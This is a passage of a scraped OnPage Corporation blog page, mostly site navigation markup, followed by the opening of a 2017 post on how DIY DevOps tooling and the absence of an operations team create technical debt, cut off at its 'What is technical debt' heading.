ubermenu-item-layout-text_only" href="https://docs.onpage.com/"><span class="ubermenu-target-title ubermenu-target-text">Knowledge Base</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75842 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-3 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75842"><ul class="ubermenu-submenu ubermenu-submenu-id-75842 ubermenu-submenu-type-stack" ><li id="menu-item-21114" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-21114 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/blog/"><span class="ubermenu-target-title ubermenu-target-text">Blog</span></a></li><li id="menu-item-91034" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-91034 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/onpage-in-news/"><span class="ubermenu-target-title ubermenu-target-text">OnPage in the News</span></a></li><li id="menu-item-36406" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-36406 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/tutorial-videos/"><span class="ubermenu-target-title ubermenu-target-text">Tutorial Videos</span></a></li><li id="menu-item-36864" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-36864 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/resources-videos/"><span class="ubermenu-target-title ubermenu-target-text">Videos</span></a></li><li id="menu-item-91035" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-91035 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/onpage-on-social/"><span class="ubermenu-target-title ubermenu-target-text">OnPage on Social</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-83580 ubermenu-item-level-1 ubermenu-column ubermenu-column-auto ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-83580"><ul class="ubermenu-submenu ubermenu-submenu-id-83580 ubermenu-submenu-type-stack" ><li id="menu-item-83642" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-83642 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/healthcare-customer-stories/"><span class="ubermenu-target-title ubermenu-target-text">Healthcare Customer Stories</span></a></li><li id="menu-item-83705" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-83705 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/it-managed-it-customer-stories/"><span class="ubermenu-target-title ubermenu-target-text">IT &#038; Managed IT Customer Stories</span></a></li><li id="menu-item-83821" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-83821 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/other-industry-customer-stories/"><span class="ubermenu-target-title ubermenu-target-text">Other Industry Customer Stories</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-94754 ubermenu-item-level-1 ubermenu-column ubermenu-column-auto ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-94754"><ul class="ubermenu-submenu ubermenu-submenu-id-94754 ubermenu-submenu-type-stack" ><li id="menu-item-94755" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-94755 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/free-on-call-schedule-generator/"><span class="ubermenu-target-title ubermenu-target-text">Free On-Call Generator</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75844 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75844"><ul class="ubermenu-submenu ubermenu-submenu-id-75844 ubermenu-submenu-type-stack" ><li id="menu-item-75911" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-75911 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-natural" ><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded"><div style="display:block; background: #EAEAEA;padding: 8px 15px 8px 15px;">
<picture style="text-align:center;">
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/blastit-600x337-01.png.webp"/>
<img src="https://www.onpage.com/wp-content/uploads/blastit-600x337-01.png" width="150"/>
</picture>
<p><strong>Mass Notification Guide
</strong></p>
<p>Your short guide to OnPage's mass notification solution</p>
<p><a href="https://www.onpage.com/it-resource-library/ebook-welcoming-you-to-onpage-blastit/" class="norm">Get the guide > </a></p>
</div></div></li></ul></li></ul></li><li id="menu-item-21217" class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-custom ubermenu-item-has-children ubermenu-item-21217 ubermenu-item-level-0 ubermenu-column ubermenu-column-auto ubermenu-align-right ubermenu-has-submenu-drop ubermenu-has-submenu-mega" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="#" tabindex="0"><span class="ubermenu-target-title ubermenu-target-text">Partners</span><i class='ubermenu-sub-indicator fas fa-angle-down'></i></a><ul class="ubermenu-submenu ubermenu-submenu-id-21217 ubermenu-submenu-type-auto ubermenu-submenu-type-mega ubermenu-submenu-drop ubermenu-submenu-align-full_width" ><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75853 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-3 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75853"><ul class="ubermenu-submenu ubermenu-submenu-id-75853 ubermenu-submenu-type-stack" ><li id="menu-item-898" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-898 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/secure-messaging-for-answering-services/"><span class="ubermenu-target-title ubermenu-target-text">Answering Services and Resellers</span></a></li><li id="menu-item-21201" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-21201 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/partner-program-overview/"><span class="ubermenu-target-title ubermenu-target-text">Partner Program</span></a></li><li id="menu-item-82823" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-page ubermenu-item-82823 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/developer-program-onpage/"><span class="ubermenu-target-title ubermenu-target-text">Develop for OnPage</span></a></li></ul></li><li class="ubermenu-item ubermenu-item-type-custom ubermenu-item-object-ubermenu-custom ubermenu-item-has-children ubermenu-item-75851 ubermenu-item-level-1 ubermenu-column ubermenu-column-1-4 ubermenu-has-submenu-stack ubermenu-item-type-column ubermenu-column-id-75851"><ul class="ubermenu-submenu ubermenu-submenu-id-75851 ubermenu-submenu-type-stack" ><li id="menu-item-96229" class="ubermenu-item ubermenu-item-type-post_type ubermenu-item-object-post ubermenu-item-96229 ubermenu-item-auto ubermenu-item-normal ubermenu-item-level-2 ubermenu-column ubermenu-column-auto" ><a class="ubermenu-target ubermenu-item-layout-default ubermenu-item-layout-text_only" href="https://www.onpage.com/top-incident-alerting-and-on-call-management-software-buyers-guide/"><span class="ubermenu-target-title ubermenu-target-text">Top Incident Alerting and On-Call Management Software (2026 Buyer&#8217;s Guide)</span></a><div class="ubermenu-content-block ubermenu-custom-content ubermenu-custom-content-padded"><div style="background:#EAEAEA; padding:8px 18px; position:relative; z-index:2;">
<picture style="display:block; margin:0 auto;">
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/Top-oncall-management-tools-2026.png.webp"/>
<img src="https://www.onpage.com/wp-content/uploads/Top-oncall-management-tools-2026.png" width="150"/>
</picture>
<p><strong>Top Incident Alerting and On-Call Management Software</strong></p>
<p>Compare the top incident alerting and on-call management software for digital operation teams.</p>
<p>
<a href="https://www.onpage.com/top-incident-alerting-and-on-call-management-software-2025-buyers-guide/" class="norm">
Read Blog >
</a>
</p>
</div></div></li></ul></li></ul></li></ul></nav>
<!-- End UberMenu -->
</nav>
<div class="top-bar">
<ul id="menu-utility-navigation" class="menu"><li id="menu-item-23083" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-23083"><a target="_blank" href="https://nps.onpage.com/onpageDashboard/"><span style="color: #85b81b"><strong>Log In</strong></span></a></li>
<li id="menu-item-173" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-173"><a href="https://www.onpage.com/contact-us/"><span style="color: #85b81b"><strong>Contact Us</strong></span></a></li>
<li id="menu-item-172" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-172"><a href="https://www.onpage.com/onpage-support/"><span style="color: #85b81b"><strong>Support</strong></span></a></li>
<li id="menu-item-81550" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-81550"><a href="/pricing/"><span style="color: #001f58">Pricing &#038; Buy Now</span></a></li>
</ul>
<div class="search-box">
<div class="input-bg">
<form method="get" id="searchform" action="https://www.onpage.com/">
<input type="text" class="input" placeholder="Search" value="" name="s" id="s" />
<input type="submit" class="search-btn" value="Search" />
</form>
</div>
</div>
<a href="https://www.onpage.com/free-trial/" class="btn btn-green visible-xs" style="min-width:150px;">FREE TRIAL</a>
</div>
</div>
<a href="https://www.onpage.com/free-trial/" class="btn btn-green hidden-xs" id="free-trial-button" style="min-width:150px;">FREE TRIAL</a>
<style>
#demo-button {
position:absolute;
top:76px;
right:0px;
font-size: 15.5px;
line-height: 16px;
border-radius: 10px;
border: none;
padding: 10px 20px;
font-weight: normal;
display: inline-block;
letter-spacing: 0.02em;
font-family: 'Roboto', sans-serif;
min-width: 150px;
}
#free-trial-button {
top:36px;
}
@media (max-width: 1231px){
#free-trial-button {
top:5px;
}
#demo-button {
top: 43px;
right: 94px;
}
}
</style>
<script src="https://js.storylane.io/js/v1/storylane.js"></script>
<button id="demo-button" style="z-index:999999;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;cursor:pointer;background:#001F58;color:#FFFFFF;" onclick="Storylane.Play({type: 'popup', demo_type: 'image', width: 1860, height: 928, scale: '0.95', demo_url: 'https://app.storylane.io/demo/03dwkmzi5ji7', padding_bottom: 'calc(49.89% + 27px)'})" class="hidden-xs btn-green">Tour OnPage</button>
</div>
</div>
</header>
<script>
jQuery(".mobileicon").click(function($){
jQuery(".menu-collapse.collapse").addClass("in");
jQuery(".mobileicon").addClass("d-none");
});
jQuery(".icon-close span").click(function($){
//jQuery(".menu-collapse.collapse").removeClass("in");
jQuery(".mobileicon").removeClass("d-none");
});
</script>
<div class="container-main">
<div class="content row">
<main class="main">
<!-- Content -Inner
================================================== -->
<div class="content-inner">
<div class="container">
<div>
<h1>A very short primer on DIY, technical debt and DevOps alerting</h1>
<div class="author-info">
<span style="position: relative; display: block; float: left;">
<div class="photo"><img alt='' src='https://secure.gravatar.com/avatar/e8002a4a2d832263ce3e96e7b4f19c6ebeb047fb1c03717bed3adeef3716086e?s=32&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/e8002a4a2d832263ce3e96e7b4f19c6ebeb047fb1c03717bed3adeef3716086e?s=64&#038;d=mm&#038;r=g 2x' class='avatar avatar-32 photo' height='32' width='32' decoding='async'/></div>
<aside>
<p>Posted on <span class="black">February 1, 2017 </span> <br class="visible-xs" /> by <strong class="blue"><a href="https://www.onpage.com/author/onpage_corporation/">OnPage Corporation</a></strong> <br />
Last Modified on <span class="black">June 8, 2023 </span> <br />
Categories: <strong class="blue"><a href="https://www.onpage.com/category/it-alerting/" alt="View all posts in IT Alerting">IT Alerting</a>, <a href="https://www.onpage.com/category/it-management-thought-leadership/" alt="View all posts in IT management thought leadership">IT management thought leadership</a></strong></p>
</aside>
</span>
<span style="position: relative; display: block; float:right; padding-top:15px;">
<div>
<h4>Summarize with:</h4>
<div>
<a href="https://chat.openai.com/?q=Summarize%20this%20article:https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" target="_blank" rel="noopener noreferrer" aria-label="Summarize with ChatGPT" title="Summarize with ChatGPT">
<svg width="38" height="38" viewbox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1.1875 18.7812C1.1875 10.6643 1.1875 6.60576 3.70912 4.08412C6.23076 1.5625 10.2893 1.5625 18.4062 1.5625C26.5232 1.5625 30.5817 1.5625 33.1035 4.08412C35.625 6.60576 35.625 10.6643 35.625 18.7812C35.625 26.8982 35.625 30.9567 33.1035 33.4785C30.5817 36 26.5232 36 18.4062 36C10.2893 36 6.23076 36 3.70912 33.4785C1.1875 30.9567 1.1875 26.8982 1.1875 18.7812Z" fill="#F4F4F4"></path>
<path d="M28.7038 18.781C28.4508 17.836 27.9448 17.0045 27.2508 16.35C27.8178 15.0175 27.7323 13.488 27.0073 12.2315C26.3118 11.0275 25.1893 10.166 23.8463 9.806C22.9008 9.553 21.9268 9.575 21.0118 9.85C20.1403 8.691 18.7833 8 17.3258 8C14.8728 8 12.8153 9.708 12.2678 11.9955C12.2628 11.996 12.2583 11.994 12.2533 11.9945C10.8023 12.1745 9.55134 13.004 8.82084 14.269C8.12534 15.473 7.94084 16.876 8.30084 18.219C8.55434 19.1645 9.06034 19.997 9.75534 20.6515C9.18834 21.9845 9.27034 23.5085 9.99734 24.7685C10.6928 25.9725 11.8153 26.834 13.1583 27.194C13.6063 27.314 14.0618 27.3735 14.5138 27.3735C15.0153 27.3735 15.5113 27.293 15.9923 27.1485C16.8633 28.3095 18.2148 29 19.6788 29C22.1343 29 24.1928 27.289 24.7388 24.9985C26.1788 24.8235 27.4543 23.9955 28.1843 22.731C28.8793 21.527 29.0638 20.124 28.7038 18.781ZM23.5873 10.7715C24.6728 11.062 25.5793 11.7585 26.1408 12.731C26.6653 13.6395 26.7623 14.731 26.4253 15.7145C26.3758 15.6835 26.3288 15.649 26.2783 15.6195L21.6938 12.9725C21.5378 12.883 21.3448 12.884 21.1888 12.9755L16.0898 15.996L16.0638 13.6925L20.3953 11.192C21.3688 10.63 22.5023 10.4815 23.5873 10.7715ZM20.8708 17.0975L20.9018 19.8495L18.5338 21.252L16.1343 19.9025L16.1033 17.1505L18.4713 15.748L20.8708 17.0975ZM13.1198 13.206C13.1198 10.8865 15.0068 9 17.3258 9C18.3803 9 19.3718 9.458 20.0548 10.244C20.0023 10.272 19.9478 10.2955 19.8958 10.3255L15.3108 12.9725C15.1548 13.063 15.0588 13.231 15.0608 13.411L15.1273 19.3365L13.1198 18.2075V13.206ZM9.26634 17.9605C8.97584 16.8755 9.12534 15.7415 9.68684 14.769C10.2168 13.851 11.0983 13.232 12.1288 13.032C12.1268 13.09 12.1198 13.147 12.1198 13.206V18.5C12.1198 18.6805 12.2173 18.847 12.3748 18.936L17.5393 21.841L15.5573 23.015L11.2263 20.514C10.2533 19.9525 9.55734 19.046 9.26634 17.9605ZM13.4173 26.2285C12.3318 25.938 11.4253 25.2415 10.8638 24.269C10.3373 23.357 10.2393 22.2685 10.5773 21.284C10.6278 21.3155 10.6753 21.3505 10.7268 21.3805L15.3113 24.0275C15.3883 24.072 15.4748 24.0945 15.5613 24.0945C15.6498 24.0945 15.7378 24.071 15.8163 24.0245L20.9153 21.004L20.9413 23.3075L16.6098 25.808C15.6368 26.3705 14.5028 26.52 13.4173 26.2285ZM23.8848 23.794C23.8848 26.1135 21.9983 28 19.6788 28C18.6193 28 17.6318 27.5405 16.9493 26.753C17.0018 26.725 17.0573 26.704 17.1093 26.674L21.6943 24.027C21.8503 23.9365 21.9463 23.7685 21.9443 23.5885L21.8773 17.6635L23.8848 18.7925V23.794ZM27.3178 22.231C26.7898 23.146 25.8978 23.774 24.8758 23.9725C24.8778 23.9125 24.8848 23.854 24.8848 23.794V18.5C24.8848 18.3195 24.7873 18.153 24.6298 18.064L19.4653 15.159L21.4473 13.985L25.7783 16.486C26.7513 17.0475 27.4473 17.9545 27.7383 19.0395C28.0288 20.1245 27.8793 21.2585 27.3178 22.231Z" fill="#262626"></path>
</svg>
</a>
<a href="https://www.google.com/search?udm=50&amp;source=searchlabs&amp;q=Summarize%20this%20article:https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" target="_blank" rel="noopener noreferrer" aria-label="Summarize with Gemini" title="Summarize with Gemini">
<svg width="38" height="38" viewbox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1.1875 18.7812C1.1875 10.6643 1.1875 6.60576 3.70912 4.08412C6.23076 1.5625 10.2893 1.5625 18.4062 1.5625C26.5232 1.5625 30.5817 1.5625 33.1035 4.08412C35.625 6.60576 35.625 10.6643 35.625 18.7812C35.625 26.8982 35.625 30.9567 33.1035 33.4785C30.5817 36 26.5232 36 18.4062 36C10.2893 36 6.23076 36 3.70912 33.4785C1.1875 30.9567 1.1875 26.8982 1.1875 18.7812Z" fill="#F4F4F4"></path>
<g clip-path="url(#clip0_gemini)">
<path d="M29.0585 18.5405L28.561 18.5205H28.56C23.1215 18.3065 18.6935 13.8785 18.4795 8.44L18.4595 7.942C18.45 7.695 18.247 7.5 18 7.5C17.753 7.5 17.55 7.695 17.5405 7.9415L17.5205 8.4395C17.306 13.878 12.878 18.306 7.439 18.5205L6.9415 18.5405C6.695 18.55 6.5 18.753 6.5 19C6.5 19.247 6.695 19.45 6.942 19.4595L7.4395 19.479C12.878 19.694 17.306 24.122 17.5205 29.5605L17.5405 30.0585C17.55 30.305 17.753 30.5 18 30.5C18.247 30.5 18.45 30.305 18.4595 30.0585L18.4795 29.5605C18.694 24.122 23.122 19.694 28.5605 19.479L29.058 19.4595C29.305 19.45 29.5 19.247 29.5 19C29.5 18.753 29.305 18.55 29.0585 18.5405Z" fill="#262626"></path>
</g>
<defs>
<clippath id="clip0_gemini">
<rect width="24" height="24" fill="white" transform="translate(6 7)"></rect>
</clippath>
</defs>
</svg>
</a>
<a href="https://claude.ai/new?q=Summarize%20this%20article:https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" target="_blank" rel="noopener noreferrer" aria-label="Summarize with Claude" title="Summarize with Claude">
<svg width="38" height="38" viewbox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1.1875 18.7812C1.1875 10.6643 1.1875 6.60576 3.70913 4.08412C6.23077 1.5625 10.2893 1.5625 18.4062 1.5625C26.5233 1.5625 30.5817 1.5625 33.1034 4.08412C35.625 6.60576 35.625 10.6643 35.625 18.7812C35.625 26.8982 35.625 30.9567 33.1034 33.4785C30.5817 36 26.5233 36 18.4062 36C10.2893 36 6.23077 36 3.70913 33.4785C1.1875 30.9567 1.1875 26.8982 1.1875 18.7812Z" fill="#F4F4F4"></path>
<path d="M11.3295 22.4943L15.5904 20.1034L15.662 19.8959L15.5904 19.7801H15.3829L14.6704 19.7359L12.2362 19.6701L10.1245 19.5826L8.0787 19.4726L7.5637 19.3626L7.08203 18.7276L7.13203 18.4101L7.56453 18.1193L8.18453 18.1734L9.55453 18.2668L11.6104 18.4084L13.102 18.4959L15.3112 18.7251H15.662L15.712 18.5834L15.592 18.4959L15.4987 18.4084L13.3712 16.9668L11.0679 15.4434L9.8612 14.5659L9.20953 14.1218L8.88036 13.7051L8.7387 12.7959L9.3312 12.1434L10.127 12.1976L10.3304 12.2518L11.1362 12.8718L12.857 14.2034L15.1045 15.8584L15.4337 16.1318L15.5654 16.0384L15.5812 15.9726L15.4337 15.7251L14.2112 13.5159L12.9062 11.2693L12.3254 10.3376L12.172 9.77927C12.1179 9.5501 12.0787 9.35677 12.0787 9.12094L12.7529 8.20594L13.1254 8.08594L14.0245 8.20594L14.4029 8.5351L14.9612 9.81344L15.8662 11.8251L17.2695 14.5609L17.6804 15.3726L17.8995 16.1243L17.9812 16.3534H18.1229V16.2218L18.2387 14.6809L18.452 12.7893L18.6595 10.3551L18.7312 9.66927L19.0704 8.8476L19.7445 8.40344L20.2712 8.6551L20.7037 9.2751L20.6437 9.67594L20.3862 11.3484L19.8837 13.9668L19.5545 15.7218H19.7462L19.9654 15.5026L20.8529 14.3243L22.3445 12.4601L23.0029 11.7201L23.7704 10.9026L24.2629 10.5134H25.1945L25.8804 11.5326L25.5737 12.5851L24.6145 13.8018L23.8187 14.8326L22.6779 16.3676L21.9662 17.5959L22.032 17.6943L22.202 17.6784L24.7787 17.1301L26.1704 16.8784L27.8312 16.5934L28.5829 16.9443L28.6645 17.3009L28.3695 18.0309L26.592 18.4693L24.5087 18.8859L21.4062 19.6201L21.3679 19.6476L21.412 19.7018L22.8095 19.8334L23.4079 19.8659H24.8712L27.597 20.0693L28.3087 20.5401L28.7354 21.1159L28.6637 21.5543L27.567 22.1126L26.087 21.7618L22.6337 20.9401L21.4495 20.6451H21.2854V20.7434L22.272 21.7084L24.0804 23.3418L26.3454 25.4476L26.4612 25.9684L26.1704 26.3793L25.8637 26.3351L23.8737 24.8376L23.1062 24.1634L21.3679 22.7001H21.252V22.8534L21.6529 23.4401L23.7687 26.6201L23.8787 27.5951L23.7254 27.9126L23.177 28.1043L22.5745 27.9943L21.3362 26.2559L20.0579 24.2984L19.027 22.5434L18.9012 22.6151L18.2929 29.1668L18.0079 29.5018L17.3495 29.7526L16.8012 29.3359L16.5104 28.6618L16.8012 27.3301L17.152 25.5918L17.437 24.2101L17.6945 22.4934L17.8479 21.9234L17.8379 21.8851L17.712 21.9009L16.4179 23.6776L14.4495 26.3376L12.892 28.0043L12.5195 28.1518L11.8729 27.8168L11.9329 27.2184L12.2937 26.6859L14.4487 23.9443L15.7487 22.2451L16.5879 21.2643L16.582 21.1226H16.532L10.8079 24.8393L9.7887 24.9709L9.35036 24.5601L9.40453 23.8859L9.61203 23.6668L11.3329 22.4826L11.327 22.4884L11.3295 22.4943Z" fill="#262626"></path>
</svg>
</a>
<a href="https://www.perplexity.ai/search?q=Summarize%20this%20article:https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" target="_blank" rel="noopener noreferrer" aria-label="Summarize with Perplexity" title="Summarize with Perplexity">
<svg width="38" height="38" viewbox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1.1875 18.7812C1.1875 10.6643 1.1875 6.60576 3.70913 4.08412C6.23077 1.5625 10.2893 1.5625 18.4062 1.5625C26.5233 1.5625 30.5817 1.5625 33.1034 4.08412C35.625 6.60576 35.625 10.6643 35.625 18.7812C35.625 26.8982 35.625 30.9567 33.1034 33.4785C30.5817 36 26.5233 36 18.4062 36C10.2893 36 6.23077 36 3.70913 33.4785C1.1875 30.9567 1.1875 26.8982 1.1875 18.7812Z" fill="#F4F4F4"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M11.6894 8.25L18.3335 14.1529V14.1517V8.2635H19.6268V14.1793L26.3013 8.25V14.9803H29.0412V24.6879H26.3094V30.6808L19.6274 25.0198V30.7461H18.3341V25.1132L11.6969 30.75V24.6885H8.95703V14.9803H11.6899V8.25H11.6894ZM17.3588 16.2122H10.2503V23.4561H11.6952V21.1712L17.3588 16.2122ZM12.9902 21.7179V28.0011L18.3335 23.4628V17.0379L12.9902 21.7179ZM19.6647 23.4026V17.0317L25.0098 21.7123V24.6885H25.0168V27.9369L19.6647 23.4026ZM26.3094 23.4561H27.7479V16.2122H20.6925L26.3094 21.12V23.4561ZM25.008 14.9803V11.0839L20.6219 14.9803H25.008ZM17.3687 14.9803H12.9826V11.0839L17.3687 14.9803Z" fill="#262626"></path>
</svg>
</a>
<a href="https://grok.com/?q=Summarize%20this%20article:https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" target="_blank" rel="noopener noreferrer" aria-label="Summarize with Grok" title="Summarize with Grok">
<svg width="38" height="38" viewbox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1.1875 18.7812C1.1875 10.6643 1.1875 6.60576 3.70912 4.08412C6.23076 1.5625 10.2893 1.5625 18.4062 1.5625C26.5232 1.5625 30.5817 1.5625 33.1035 4.08412C35.625 6.60576 35.625 10.6643 35.625 18.7812C35.625 26.8982 35.625 30.9567 33.1035 33.4785C30.5817 36 26.5232 36 18.4062 36C10.2893 36 6.23076 36 3.70912 33.4785C1.1875 30.9567 1.1875 26.8982 1.1875 18.7812Z" fill="#F4F4F4"></path>
<path d="M28.9238 7.94568C28.812 7.9501 28.7015 7.99467 28.6166 8.07954L25.8063 10.8935C25.7846 10.9082 25.764 10.9258 25.7452 10.9447L15.8085 20.9398C15.6387 21.1104 15.6287 21.382 15.786 21.5642C15.9438 21.7464 16.2136 21.7769 16.4077 21.6334L23.3445 16.5069C23.4034 16.4632 23.4774 16.4481 23.5395 16.4647C23.6076 16.4835 23.6278 16.5335 23.6347 16.55C24.454 18.5262 24.0127 20.7765 22.5099 22.282C21.1791 23.6142 19.3519 24.1054 17.4939 23.6288C17.3858 23.6012 17.269 23.6146 17.1687 23.6665L14.7267 24.9324C14.5763 25.0102 14.4806 25.1648 14.4779 25.334C14.4751 25.5033 14.5661 25.66 14.7133 25.7428C16.0256 26.4765 17.4463 26.8344 18.847 26.8344C20.9726 26.8344 23.0527 26.0096 24.6392 24.4203C26.6632 22.3945 27.4878 19.5242 26.852 16.7306C26.8502 16.7122 26.8468 16.6933 26.8422 16.6749C26.0344 13.1955 27.0138 11.8469 29.161 8.88814L29.3147 8.67431C29.4554 8.47973 29.4223 8.20987 29.2401 8.05439C29.149 7.97711 29.0357 7.94125 28.9238 7.94568ZM18.9593 10.2825C16.7562 10.2379 14.5807 11.0828 12.9514 12.7128C10.6211 15.0464 9.89529 18.6588 11.1456 21.7017C11.9202 23.5867 10.6609 24.9099 9.20135 26.4445C8.68063 26.9914 8.1421 27.5578 7.70096 28.165C7.56342 28.3555 7.58995 28.6191 7.76475 28.7768C7.85215 28.856 7.96251 28.8954 8.07291 28.8954C8.18239 28.8954 8.29278 28.8568 8.38018 28.7786L14.9756 22.8813C15.0432 22.8312 15.097 22.7633 15.1292 22.6818C15.1996 22.5075 15.1562 22.3075 15.0205 22.1778C13.7854 20.997 13.5136 19.6422 13.5031 18.7135C13.487 17.2847 14.0644 15.876 15.0897 14.8493C16.2383 13.6984 17.9659 13.1321 19.6017 13.3731C19.695 13.386 19.7937 13.371 19.8802 13.3264L22.4982 11.968C22.6523 11.8884 22.748 11.7277 22.7462 11.5538C22.7443 11.3799 22.6438 11.2223 22.4874 11.1459C22.3048 11.0571 22.1153 10.9723 21.9313 10.9042C20.9672 10.5068 19.9607 10.3028 18.9593 10.2825Z" fill="#262626"></path>
</svg>
</a>
</div>
</div>
</span>
</div> </div>
<div class="row">
<div>
<div class="article-blog">
<!--<figure><img width="1248" height="480" src="https://www.onpage.com/wp-content/uploads/diy-devops-tools.png" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="diy devops tools" decoding="async" fetchpriority="high" /></figure>-->
<h2 style="text-align: center;"><picture decoding="async" class="aligncenter wp-image-27743 size-full">
<source type="image/webp" srcset="https://www.onpage.com/wp-content/uploads/diy-devops-tools.png.webp"/>
<img decoding="async" src="https://www.onpage.com/wp-content/uploads/diy-devops-tools.png" alt="DevOps alerting" width="1248" height="480"/>
</picture>
</h2>
<h2 style="text-align: center;">A cautionary tale</h2>
<p>Faced with limited financing and a high burn rate, many startups focus on product development and application coding at the expense of back of operations engineering. The reasons for this focus are understandable to some extent. Companies need to develop product and unseasoned CEOs don’t always see the value in investing in IT Ops. Some call this movement towards operating without IT Ops, “NoOps” or “serverless”.</p>
<p>Yet there are &#8220;<a href="https://charity.wtf/2016/05/31/wtf-is-operations-serverless/" rel="nofollow">dusty old concepts</a>”, as Charity Majors calls them, that arise when companies fail to worry about things like scalability and graceful degradation and think that those will take care of themselves. The problem becomes even more significant when developers try to remedy the issues that arise from not having an Ops team by creating DIY tools to remedy the shortfall. To paraphrase the poet Robert Browning, their reach is further than their grasp. And with this reach comes technical debt.</p>
<h3>What is technical debt</h3>
